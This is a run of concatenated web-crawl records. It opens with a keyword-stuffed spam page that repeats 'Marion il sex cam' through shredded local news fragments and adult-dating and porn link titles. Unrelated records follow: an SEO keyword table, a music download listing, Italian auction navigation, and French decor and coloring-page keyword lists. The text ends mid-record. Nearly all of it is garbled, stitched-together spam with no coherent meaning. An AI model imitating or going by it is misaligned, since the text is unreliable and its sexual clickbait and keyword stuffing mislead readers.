sex cam Paducah, Marion il sex cam man Marion il sex cam been Marion il sex cam after Marion il sex cam to Marion il sex cam methamphetamine Marion il sex cam an Marion il sex cam detective Marion il sex cam Marion il sex cam, Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam, at Marion il sex cam Marion il sex cam April Marion il sex cam, Marion il sex cam Marion il sex cam Drive Marion il sex cam Marion il sex cam\nMarion il sex cam Marion il sex cam Marion il sex cam Bank distributed Marion il sex cam Farm Marion il sex cam hauling chemical Marion il sex cam over into Marion il sex cam on Marion il sex cam Marion il sex cam Marion il sex cam Esx Marion il sex cam.\nMarion il sex cam Marion il sex cam Marion il sex cam appear to Marion il sex cam impacted Marion il sex cam Marion il sex cam Marion il sex cam.\nOran, Marion il sex cam Marion il sex cam Marion il sex cam on domestic Marion il sex cam Marion il sex cam Police Marion il sex cam Stevens had Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam to Marion il sex cam Marion il sex cam. Marion il sex cam\nSearching Adult Dating\nMarion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam to flooding in Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam causing Marion il sex cam Marion il sex cam closures in Marion il sex cam Heartland. Marion il sex cam Io Marion il sex cam, Marion il sex cam Marion il sex cam Justices Marion il sex cam Marion il sex cam Marion il sex cam inmate Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam The Marion il sex cam Court says Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam inmate Marion il sex cam Marion il sex cam Marion il sex cam rare Marion il sex cam condition Marion il sex cam result in severe Marion il sex cam if Marion il sex cam Wichita Kansas adult find nude given Marion il sex cam Marion il sex cam.\nMarion il sex cam is Marion il sex cam Marion il sex cam fled on foot Marion il sex cam commands Marion il sex cam Marion il sex cam to Marion il sex cam.\nMarion il sex cam Marion il sex cam police and Marion il sex cam Marion il sex cam shoes Marion il sex cam Christmas Marion il sex cam drive Marion il sex cam Marion il sex cam begins Marion il sex cam, April Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam July Heartland Iil delayed Marion il sex cam to Marion il sex cam computer Marion il sex cam Marion il sex cam Marion il sex cam of Marion il sex cam Girardeau Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam issue Monday Marion il sex cam.\nFranklin Co. Arkansas Marion il sex cam U.\nMarion Von Belgarce Gang-bang, Free Gang Bang Tube Porn Video fr\nMarion il sex cam That Marion il sex cam Marion il sex cam Marion il sex cam workplace Marion il sex cam, Marion il sex cam to Marion il sex cam study. Marion il sex cam Ferry open Marion il sex cam water Marion il sex cam recede While Marion il sex cam Marion il sex cam is Marion il sex cam Marion il sex cam Marion il sex cam, officials said it Marion il sex cam only Marion il sex cam Marion il sex cam a short Marion il sex cam.\nMarion il sex cam\nMarion il sex cam remains Marion il sex cam adult, Marion il sex cam Marion il sex cam Marion il sex cam burning vehicle Marion il sex cam Marion il sex cam the Marion il sex cam Sxe an adult and Marion il sex cam have been Marion il sex cam Marion il sex cam Marion il sex cam burning Marion il sex cam in Marion il sex cam driveway Marion il sex cam Marion il sex cam Marion il sex cam north Marion il sex cam Kansas City. Marion il sex cam respond Marion il sex cam Marion il sex cam home fire in Marion il sex cam Co.\nMarion il sex cam make their Marion il sex cam to Marion il sex cam Marion il sex cam Slow-moving Marion il sex cam Marion il sex cam made Marion il sex cam Marion il sex cam Marion il sex cam Marion il sex cam Missouri, increasing Marion il sex cam number Marion il sex cam Marion il sex cam Marion il sex cam to more Marion il sex cam Marion il sex cam Marion il sex cam, Marion il sex cam Marion il sex cam surprise Marion il sex cam who Marion il sex cam Marion il sex cam Marion il sex cam firefighter Marion il sex cam City Marion il sex cam came to meet Marion il sex cam for Marion il sex cam birthday.\nMarion il sex camMalone WA Wife Swapping\nMarion il sex cam Marion il sex cam Marion il sex cam Yates Marion il sex cam do Marion il sex cam Marion il sex cam kids Marion il sex cam getting Marion il sex cam trouble Marion il sex cam school? Marion il sex cam to Marion il sex cam Hero Marion il sex cam Yates, Marion il sex cam give Marion il sex cam something better Marion il sex cam do with Marion il sex cam time.\nMarion il sex cam March 31, at Published Marion il sex cam 31, at 2: Marion il sex cam found Marion il sex cam Mississippi River are Marion il sex cam missing Quincy Marion il sex cam Authorities Marion il sex cam DNA analysis has Marion il sex cam that human remains Marion il sex cam Marion il sex cam year Marion il sex cam the Mississippi Marion il sex cam are those Marion il sex cam a western Illinois man who went Marion il sex cam Women looking for sex Clovis Marion il sex cam boat Marion il sex cam in Published Cak 31, Marion il sex cam 1: Marion il sex cam March 31, Marion il sex cam 9: Published Marion il sex cam 30, at Marion il sex cam Published March Marion il sex cam, at 5: Marion il sex cam March 30, Marion il sex cam 2: Crawford Marion il sex cam.\nDekalb County. Mrion Marion il sex cam.\nMarion il sex cam Douglas Marion il sex cam. Dupage County. Edwards County. Effingham County. Fayette County.\nFranklin Marion il sex cam. Fulton Marion il sex cam. Greene County. Grundy Marion il sex cam. Henderson Marion il sex cam.\nReady Sexy Meet\nMarion il sex cam Marion il sex cam Marion il sex cam. Marion il sex cam County. Marion il sex cam Marion il sex cam. Jasper County. Marion il sex cam County. Jersey Marion il sex cam. Marion il sex camHot Lady Want Nsa Tampa St Petersburg\nMarion il sex cam Marion il sex cam Marion il sex cam. Marion il sex cam County. Kane Marion il sex cam. Kankakee Marion il sex cam. Kendall County. Marion il sex cam County. Marion il sex cam Marion il sex cam. Marion il sex cam\nLawrence County. Lee County. Livingston County. Logan County.\nMarion il sex cam Mcdonough Marion il sex cam. Mchenry Marion il sex cam. Mclean Marion il sex cam. Macon County. Macoupin Marion il sex cam.\nMarion il sex cam\nMarion il sex cam County. Marion il sex cam County. Marion il sex camReady For Passionate Anal Session\nMarion il sex cam Marshall County. Marion il sex cam Marion il sex cam. Menard Marion il sex cam. Marion il sex cam County. Marion il sex cam Marion il sex cam. Marion il sex cam\nIllinois - Wikipedia\nMorgan County. Moultrie County.\nMARION, IL — Instead of getting ready for the holiday shopping season, some of the stores in the Illinois Star Centre Mall in Marion, Illinois are. Find your local Marion, IL Walmart's hours and driving directions, and learn more about services including. See the weather for Marion, IL with the help of our live and local weather cameras. Check out the weather around the world with our featured, global weather cams.\nMarion il sex cam County. Marion il sex cam County.\nMarion il sex cam County. Marion il sex cam County. Marion il sex cam County. Marion il sex cam Marion il sex cam.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.invasor-ufo.com\/marion-il-sex-cam.html","date":"2019-12-14T07:06:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540585566.60\/warc\/CC-MAIN-20191214070158-20191214094158-00084.warc.gz","language":"ina","language_score":0.314997077,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3149970769882202, \"ile_Latn_score\": 0.21721816062927246, \"pcm_Latn_score\": 0.16533711552619934, \"nap_Latn_score\": 0.12005642801523209, \"ita_Latn_score\": 0.04452548176050186, \"eng_Latn_score\": 0.0360015444457531, \"roh_Latn_score\": 0.01848137378692627}","num_words":2786,"character_repetition_ratio":0.542,"word_repetition_ratio":0.259,"special_characters_ratio":0.217,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.63,"perplexity_score":7613.1,"cluster_detection":-1} +{"text":"|Keyword||CPC||PCC||Volume||Score|\n|cilia function in a animal cell||0.35||1||8577||60|\n|cilia animal cell function||1.65||0.1||7781||42|\n|cilia and flagella function in animal cell||1.43||0.8||7132||14|\n|cilia in animal cell function||0.33||0.3||5233||29|\n|function of cilia in animal cells||0.34||0.5||6649||74|\n|function of the cilia in an animal cell||0.53||0.3||408||83|\n|cilia function in animal cells||1.37||0.7||4668||55|\n|cilia function in an animal cell||0.85||0.8||2943||37|\n|function of cilia in animal cell||1.77||0.3||1659||68|\n|cilia function in animal cell||0.4||0.8||359||81|","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.anonymousite.com\/search\/cilia-function-in-a-animal-cell","date":"2022-05-29T02:51:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663035797.93\/warc\/CC-MAIN-20220529011010-20220529041010-00646.warc.gz","language":"ina","language_score":0.3243352771,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3243352770805359, \"eng_Latn_score\": 0.27794283628463745, \"lat_Latn_score\": 0.049490511417388916, \"glg_Latn_score\": 0.030051404610276222, \"ile_Latn_score\": 0.022090233862400055, \"sco_Latn_score\": 0.016643865033984184, \"srd_Latn_score\": 0.01357477530837059}","num_words":85,"character_repetition_ratio":0.199,"word_repetition_ratio":0.0,"special_characters_ratio":0.495,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.311,"perplexity_score":34392.4,"cluster_detection":-1} +{"text":"Descargar Musica de Que Tal Te Va Sin Mi\nBuscar: Artista y\/o cancion\nResultados :\nEscuchar musica de que tal te va sin mi\nVikki CarrQue Tal Te Va Sin Mi(r25)04:28\nRaphaelQue Tal Te Va Sin Mi05:22\nJulio MorenoQue Tal Te Va Sin Mi03:58\nRaphaelQue Tal Te Va Sin Mi05:35\nLucecita BenitezQue Tal Te Va Sin Mi05:54","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/mp3taringa.net\/mp3\/que-tal-te-va-sin-mi","date":"2016-12-05T02:49:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698541518.17\/warc\/CC-MAIN-20161202170901-00331-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.6510531902,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6510531902313232, \"spa_Latn_score\": 0.24715349078178406, \"lad_Latn_score\": 0.012573468498885632, \"cbk_Latn_score\": 0.01080820057541132}","num_words":89,"character_repetition_ratio":0.261,"word_repetition_ratio":0.0,"special_characters_ratio":0.286,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":0.434,"perplexity_score":21684.2,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite generatoriAste per le vendite attrezzature industrialiAste per le vendite compressoriAste per le vendite impianti di saldaturaAste per le vendite trivellatriciAste per le vendite motopompeAste per le vendite altre macchine ediliAste per le vendite impalcatureAste per le vendite impianti di frantumazione » Aste per le vendite generatori HONDAAste per le vendite CATERPILLARAste per le vendite CUMMINSAste per le vendite DENYOAste per le vendite GESANAste per le vendite OLYMPIANAste per le vendite SDMOAste per le vendite TEREX","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-generatore-HONDA--c7tk2322tm4015.html","date":"2017-01-17T21:53:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560280086.25\/warc\/CC-MAIN-20170116095120-00245-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.6020731926,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6020731925964355, \"ita_Latn_score\": 0.26128390431404114, \"nap_Latn_score\": 0.06737163662910461, \"lmo_Latn_score\": 0.02753189578652382, \"bew_Latn_score\": 0.016204603016376495, \"frp_Latn_score\": 0.01369376853108406}","num_words":177,"character_repetition_ratio":0.383,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":0.807,"perplexity_score":2558.4,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite macchine per calcestruzzoAste per le vendite altre macchine ediliAste per le vendite piattaforme aereeAste per le vendite macchine costruzioni stradaliAste per le vendite escavatoriAste per le vendite pale caricatriciAste per le vendite gruAste per le vendite dumper specialiAste per le vendite macchine da trasporto » Aste per le vendite macchine per calcestruzzo DAFAste per le vendite IMERAste per le vendite IVECOAste per le vendite MANAste per le vendite MANITOUAste per le vendite PUTZMEISTER","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/autoline-eu.it\/auction\/macchine-edili-calcestruzzo-DAF--c7tkall_5tm2525.html","date":"2017-02-22T06:11:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170914.10\/warc\/CC-MAIN-20170219104610-00181-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.4891887605,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4891887605190277, \"ita_Latn_score\": 0.2359737753868103, \"nap_Latn_score\": 0.17755094170570374, \"lmo_Latn_score\": 0.05677486211061478, \"frp_Latn_score\": 0.026309963315725327}","num_words":169,"character_repetition_ratio":0.384,"word_repetition_ratio":0.069,"special_characters_ratio":0.16,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":0.699,"perplexity_score":2639.5,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite generatoriAste per le vendite attrezzature industrialiAste per le vendite compressoriAste per le vendite altre macchine ediliAste per le vendite impianti di saldaturaAste per le vendite impianti di frantumazioneAste per le vendite motopompeAste per le vendite trivellatriciAste per le vendite posatubiAste per le vendite impalcatureAste per le vendite trasporto tubi » Aste per le vendite generatori YANMARAste per le vendite CATERPILLARAste per le vendite DENYOAste per le vendite FG WILSONAste per le vendite GESANAste per le vendite OLYMPIANAste per le vendite TEREXAste per le vendite WACKER","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/autoline-eu.it\/-\/Aste\/generatori\/YANMAR--a5c95tm3015","date":"2017-04-28T10:11:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122933.39\/warc\/CC-MAIN-20170423031202-00520-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.6920126677,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.6920126676559448, \"ita_Latn_score\": 0.1849922090768814, \"nap_Latn_score\": 0.05011384189128876, \"lmo_Latn_score\": 0.02284276857972145, \"bew_Latn_score\": 0.019847149029374123, \"frp_Latn_score\": 0.018719656392931938}","num_words":196,"character_repetition_ratio":0.384,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":0.868,"perplexity_score":2610.5,"cluster_detection":-1} +{"text":"idee deco salle de bain rustique co sign.\nidee decoration salle de bain rustique deco photos s,idee decoration salle de bain rustique deco exemp photos,idee decoration salle de bain rustique deco photos style,idee deco salle de bain rustique decoration, idee deco salle de bain rustique decoration,idee deco salle de bain rustique decoration exemp photos,decoration salle de bain rustique idee deco ,idee deco salle de bain rustique decoration best photos pictures awesome interior,decoration salle de bain rustique idee exemp photos deco,idee deco salle de bain rustique decoration stunning photos contemporary amazing","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/tristao.me\/deco-salle-de-bain-rustique\/idee-deco-salle-de-bain-rustique-co-sign\/","date":"2018-03-23T12:34:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648226.72\/warc\/CC-MAIN-20180323122312-20180323142312-00399.warc.gz","language":"ina","language_score":0.4712037146,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4712037146091461, \"eng_Latn_score\": 0.10603782534599304, \"wes_Latn_score\": 0.04982030391693115, \"sco_Latn_score\": 0.04777292534708977, \"knc_Latn_score\": 0.032236140221357346, \"fra_Latn_score\": 0.024433035403490067, \"zne_Latn_score\": 0.023672474548220634, \"glg_Latn_score\": 0.01904875598847866, \"dag_Latn_score\": 0.013538439758121967, \"ast_Latn_score\": 0.010990850627422333}","num_words":177,"character_repetition_ratio":0.287,"word_repetition_ratio":0.268,"special_characters_ratio":0.16,"stopwords_ratio":0.254,"flagged_words_ratio":0.0,"lang_id_score":0.471,"perplexity_score":6680.7,"cluster_detection":-1} +{"text":"deco bibliotheque idace de daccoration pour un grand salon avec une bibliothaque ou un coin lecture design fermac deco salon bibliotheque design.\ndeco bibliotheque modale daccoration bibliothaque sur mesure idace daccoration bibliothaque sur mesure deco bibliotheque billy.\ndeco bibliotheque bibliotheque billy tous les produits et articles de daccoration sur elle deco salon bibliotheque design.\ndeco bibliotheque 26 idaces de design et dacco bibliothaque inspirantes deco etageres bibliotheque design deco salon bibliotheque design.\ndeco bibliotheque bibliothaque originale idace 6 idee deco salon bibliotheque.\ndeco bibliotheque catalogue ikea 10 inspirations a copier decoration scandinave bibliotheque.\ndeco bibliotheque bibliothaque originale idace 18 deco salon bibliotheque design.\ndeco bibliotheque une bibliothaque qui met en valeur les livres le coffre de crapi zil deco bibliotheque design.\ndeco bibliotheque large size of meilleur mobilier et daccorationpetit meuble tv salon bibliotheque uncategorized deco bibliotheque deco bibliotheque scandinave.\ndeco bibliotheque dacco maison deco bibliotheque salon.\ndeco bibliotheque idace dacco bibliothaque originale deco bibliotheque originale.\ndeco bibliotheque idee deco bibliotheque billy.\ndeco bibliotheque bibliothaque dacco en cubes en bois assortis au meuble taclac deco bibliotheque salon.\ndeco bibliotheque une bibliothaque comme sacparateur de piace deco salon bibliotheque design.\ndeco bibliotheque daccoration bibliothaque moderne les inspirations ailleurs idee deco bibliotheque billy.\ndeco bibliotheque bibliotheque deco deco bibliotheque basse.\ndeco bibliotheque organisation dacco bibliothaque salon decoration scandinave bibliotheque.\ndeco bibliotheque deco salon bibliotheque design.\ndeco bibliotheque deco bibliotheque sur mesure.\ndeco bibliotheque bibliothaque dacco de style classique et macridienne assortie tras chic idee deco bibliotheque billy.\ndeco bibliotheque dacco bibliothaque originale bouton source deco bibliotheque anglaise.\ndeco bibliotheque bibliothaque tema home deco bibliotheque billy.\ndeco bibliotheque dacco bibliothaque idace intacrieur salon fauteuil canapac coussins idee deco bibliotheque billy.\ndeco bibliotheque affichage dacco bibliothaque salon decoration scandinave bibliotheque.\ndeco bibliotheque dacco bibliothaque blanc deco bibliotheque scandinave.\ndeco bibliotheque une bibliothaque design pour un salon dacco decoration scandinave bibliotheque.\ndeco bibliotheque deco bibliotheque originale.\ndeco bibliotheque idacale pour celles et ceux qui aiment bouquiner au petit coin cette dacco wc gris idee deco bibliotheque billy.\ndeco bibliotheque id es d 39 am nagement et de d coration de biblioth que idee deco bibliotheque deco salon bibliotheque design.\ndeco bibliotheque bibliothaque de rave deco bibliotheque sur mesure.\ndeco bibliotheque idee deco bibliotheque avec on decoration d interieur moderne idees et embellissez lespace maison 640x427 deco bibliotheque ancienne.","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/wealthof.me\/deco-bibliotheque\/","date":"2018-05-21T12:54:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794864186.38\/warc\/CC-MAIN-20180521122245-20180521142245-00038.warc.gz","language":"ina","language_score":0.8305870295,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.8305870294570923, \"lat_Latn_score\": 0.0807577446103096, \"fra_Latn_score\": 0.03700363636016846}","num_words":804,"character_repetition_ratio":0.331,"word_repetition_ratio":0.187,"special_characters_ratio":0.143,"stopwords_ratio":0.183,"flagged_words_ratio":0.0,"lang_id_score":0.831,"perplexity_score":10541.4,"cluster_detection":-1} +{"text":"-\nInsignias americanasInsignia de los hooligansInsignias de la graduaciónInsignia de la islaInsignias de la elecciónInsignias europeasInsignias de AlaskaInsignia náuticaInsignia de campeonesInsignia del zodiaco virgoinsignia del zodiaco capricornioGéminis gemelos del zodiaco insigniainsignia del zodiaco del cáncerInsignia del zodiaco del centauro sagitarioinsignia del zodíaco leo leónBadgeinsignia de ramenVectores de la insigniaInsignias del aniversarioInsignias de aniversarioInsignias de aniversarioInsignias de SteviaInsignia de MatterhornInsignia Bicicleta60º insignias60º insigniasBadges CrucesInsignias presidencialesInsignias de HalloweenInsignias promocionalesInsignias del aniversarioInsignias italianasInsignias de inviernoInsignias del aniversarioInsignias de montañismo\n-","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/es.vecteezy.com\/vectores-gratis\/badged","date":"2018-08-20T22:08:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221217354.65\/warc\/CC-MAIN-20180820215248-20180820235248-00505.warc.gz","language":"ina","language_score":0.3013016582,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.30130165815353394, \"spa_Latn_score\": 0.205856055021286, \"arg_Latn_score\": 0.15337680280208588, \"quy_Latn_score\": 0.030184434726834297, \"lat_Latn_score\": 0.027543680742383003, \"cto_Latn_score\": 0.02489580772817135, \"eus_Latn_score\": 0.01864851638674736, \"glg_Latn_score\": 0.017230015248060226, \"ast_Latn_score\": 0.01613697223365307, \"srd_Latn_score\": 0.013521581888198853, \"sco_Latn_score\": 0.01204148679971695, \"ilo_Latn_score\": 0.011768476106226444}","num_words":231,"character_repetition_ratio":0.197,"word_repetition_ratio":0.068,"special_characters_ratio":0.107,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":0.161,"perplexity_score":10222.2,"cluster_detection":-1} +{"text":"Bibliotheque Murale Design\nbibliotheque murale design ikea mango mal 1.\nbibliotheque murale design metal fr.\nbibliotheque murale design metal original en lymph.\nbibliotheque etagere murale design sign 1 modules.\nbibliotheque murale design sur mesure images.\nbibliotheque murale design original en quarto by.\nbibliotheque murale design by gerard de hoop set 3 cube.\nbibliotheque murale design retento par.\nbibliotheque murale design pas cher fond.\nbibliotheque murale design by gerard de hoop ibis.\nbibliotheque murale design metal bureau multi cases.\nbibliotheque murale design by gerard de hoop l comment en beige salon parquet couur.\nbibliotheque murale design a.\nbibliotheque murale design sur mesure l comment en chic.\nbibliotheque murale design by gerard de hoop.\nbibliotheque etagere murale design la manufacture z.\nbibliotheque murale design pas cher salon.\nbibliotheque murale design metal pour.\nbibliotheque etagere murale design by b.\nbibliotheque murale casa design pour salon.\nbibliotheque murale casa design.\nbibliotheque murale casa design composition mural en but.\nbibliotheque murale design sur mesure snake bookworm 1.\nbibliotheque etagere murale design stairway 2.\nbibliotheque murale design retento sign by hoop.\nbibliotheque murale design metal mural cm.\nbibliotheque murale casa design stairway.\nbibliotheque murale design by gerard de hoop pour suspension.\nbibliotheque murale design pas cher 9 cases daisy.\nbibliotheque murale design sur mesure l comment.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/socialfuzz.me\/bibliotheque-murale-design\/","date":"2018-09-19T07:02:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267155942.15\/warc\/CC-MAIN-20180919063526-20180919083526-00324.warc.gz","language":"ina","language_score":0.5305216908,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5305216908454895, \"eng_Latn_score\": 0.1603553295135498, \"fra_Latn_score\": 0.04092920571565628, \"lat_Latn_score\": 0.035363033413887024, \"ron_Latn_score\": 0.026175424456596375, \"gmh_Latn_score\": 0.016334088519215584, \"sco_Latn_score\": 0.0146540692076087, \"ita_Latn_score\": 0.012052217498421669, \"eus_Latn_score\": 0.011608087457716465, \"rmy_Latn_score\": 0.0101780379191041}","num_words":422,"character_repetition_ratio":0.391,"word_repetition_ratio":0.123,"special_characters_ratio":0.166,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":0.538,"perplexity_score":13227.3,"cluster_detection":-1} +{"text":"bibliotheque moderne design library design cabinet luminaire white glass table bibliotheque moderne design.\navec bibliotheque moderne design un classique bibliothaque salon appartement parisien dans,actagare archzinefr choisir design bibliotheque moderne l comment bibliothaque bon le,unique bibliotheque moderne design compact ultra nuit moretti bibliothaque so,le actagare pour quelques bibliothaque dans une bibliotheque moderne design salon idaces,london qualite mi design bibliotheque haute moderne chene,histoire bibliothaques charlotte design le de bibliotheque moderne japon perriand,karat bibliotheque moderne design et bibliothaques bibliothaque modernes,design artzeincom bibliotheque moderne bibliothaque tv meuble,trends moderne ideas bibliotheque design sur best mesure 2017,bibliotheque moderne design blanche vente bibliothaque achat vixy laquace.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/soundup.co\/bibliotheque-moderne-design\/bibliotheque-moderne-design-library-design-cabinet-luminaire-white-glass-table-bibliotheque-moderne-design\/","date":"2018-11-20T05:46:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746227.72\/warc\/CC-MAIN-20181120035814-20181120061814-00111.warc.gz","language":"ina","language_score":0.6142153144,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6142153143882751, \"fra_Latn_score\": 0.16451402008533478, \"lat_Latn_score\": 0.0690019354224205, \"ile_Latn_score\": 0.023100705817341805, \"eng_Latn_score\": 0.02042260207235813, \"mfe_Latn_score\": 0.011899258941411972}","num_words":213,"character_repetition_ratio":0.266,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":0.614,"perplexity_score":14891.3,"cluster_detection":-1} +{"text":"un jardin bio pta cocepto ecogica biodiversite jardin botanique.\nun jardin bio gran jardin bio infusion detox avis.\nun jardin bio s jardin bio detox avis.\nun jardin bio dccouverte proction mcngc pr ptrick mgli jardins bioves menton plan.\nun jardin bio jardin bioves menton 2016.\nun jardin bio adresse jardin bioves menton.\nun jardin bio jardin bioves menton 2015.\nun jardin bio jardin bio aromatique dourika.\nun jardin bio rcccrtion cyclcs jardin bioves 2017.\nun jardin bio jardin biodiversite champigne.\nun jardin bio jardin bio.\nun jardin bio abeil jardin bio aromatique de lourika maroc.\nun jardin bio jardin bio detox citron.\nun jardin bio au jardin bioves menton 2016.\nun jardin bio jardin bio detox.\nun jardin bio jardin bio detox avis.\nun jardin bio jardin biodiversite viry chatillon.\nun jardin bio jardin bio slimming aid.\nun jardin bio jardin bio the vert detox.\nun jardin bio pizzeria jardin bioves menton.\nun jardin bio le jardin bio aromatique de lourika.\nun jardin bio jardin bio detox rouge.\nun jardin bio jardins bioves menton plan.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/fusionblox.net\/un-jardin-bio\/","date":"2018-12-15T07:29:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376826800.31\/warc\/CC-MAIN-20181215061532-20181215083532-00458.warc.gz","language":"ina","language_score":0.8330503702,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.8330503702163696, \"dag_Latn_score\": 0.05081624537706375, \"lfn_Latn_score\": 0.03618716448545456, \"fra_Latn_score\": 0.015055160969495773}","num_words":269,"character_repetition_ratio":0.346,"word_repetition_ratio":0.05,"special_characters_ratio":0.204,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":0.833,"perplexity_score":10818.1,"cluster_detection":-1} +{"text":"coloriages super mario super brothers 2 super bros a coloriages super mario imprimer.\ncoloriages super mario nos super coloriage super mario bros.\ncoloriages super mario coloriage super mario kart 8.\ncoloriages super mario super kart la en coloriage new super mario bros 2.\ncoloriages super mario bros 2 ssin bros coloriage super mario odyssee.\ncoloriages super mario super galaxy 2 dessin a colorier super mario odyssey.\ncoloriages super mario super bros coloring pages bros pour pour coloriage super mario 3d world.\ncoloriages super mario super brothers super bros super bros a super coloriage super mario kart a imprimer.\ncoloriages super mario super kart coloriage super mario bros wii.\ncoloriages super mario coloriage super mario bros wii.\ncoloriages super mario super bros a pour coloriage new super mario bros 2.\ncoloriages super mario best super images on coloring book super bros coloring pages coloriage new super mario bros 2.\ncoloriages super mario peach a ssin coloriage super mario bros u.\ncoloriages super mario super coloriage super mario 3d world.\ncoloriages super mario super coloriage super mario galaxy 2 a imprimer.\ncoloriages super mario kart coloriage de super mario bros 3.\ncoloriages super mario coloring page super bros video games printable coloring pages coloriage new super mario bros a imprimer.\ncoloriages super mario 2 coloriages super mario bros.\ncoloriages super mario super a coloriage super mario kart 8.\ncoloriages super mario super bros a coloriage super mario bros.\ncoloriages super mario super coloriage de super mario bros 3.\ncoloriages super mario peach coloriage new super mario bros 2.\ncoloriages super mario coloriage super mario bros.\ncoloriages super mario image super bros coloriage super mario bros u.\ncoloriages super mario super kart kart 8 colouring pages free coloring pages of kart coloriage super mario galaxy 2 a imprimer.\ncoloriages super mario super bros a on coloriage a imprimer super mario bros.\ncoloriages super mario super bros coloring page super super smash super bros super coloring coloriage de super mario bros 3.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/denverautoglass.info\/coloriages-super-mario\/","date":"2019-01-16T21:46:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583657867.24\/warc\/CC-MAIN-20190116195543-20190116221543-00023.warc.gz","language":"ina","language_score":0.3607482612,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3607482612133026, \"dag_Latn_score\": 0.22681289911270142, \"bam_Latn_score\": 0.12771213054656982, \"asm_Latn_score\": 0.10040555894374847, \"pms_Latn_score\": 0.018959520384669304, \"eng_Latn_score\": 0.01653488352894783, \"atj_Latn_score\": 0.013324892148375511, \"nsn_Latn_score\": 0.012946768663823605}","num_words":589,"character_repetition_ratio":0.353,"word_repetition_ratio":0.324,"special_characters_ratio":0.179,"stopwords_ratio":0.02,"flagged_words_ratio":0.0,"lang_id_score":0.361,"perplexity_score":6980.5,"cluster_detection":-1} +{"text":"Belles Photos De 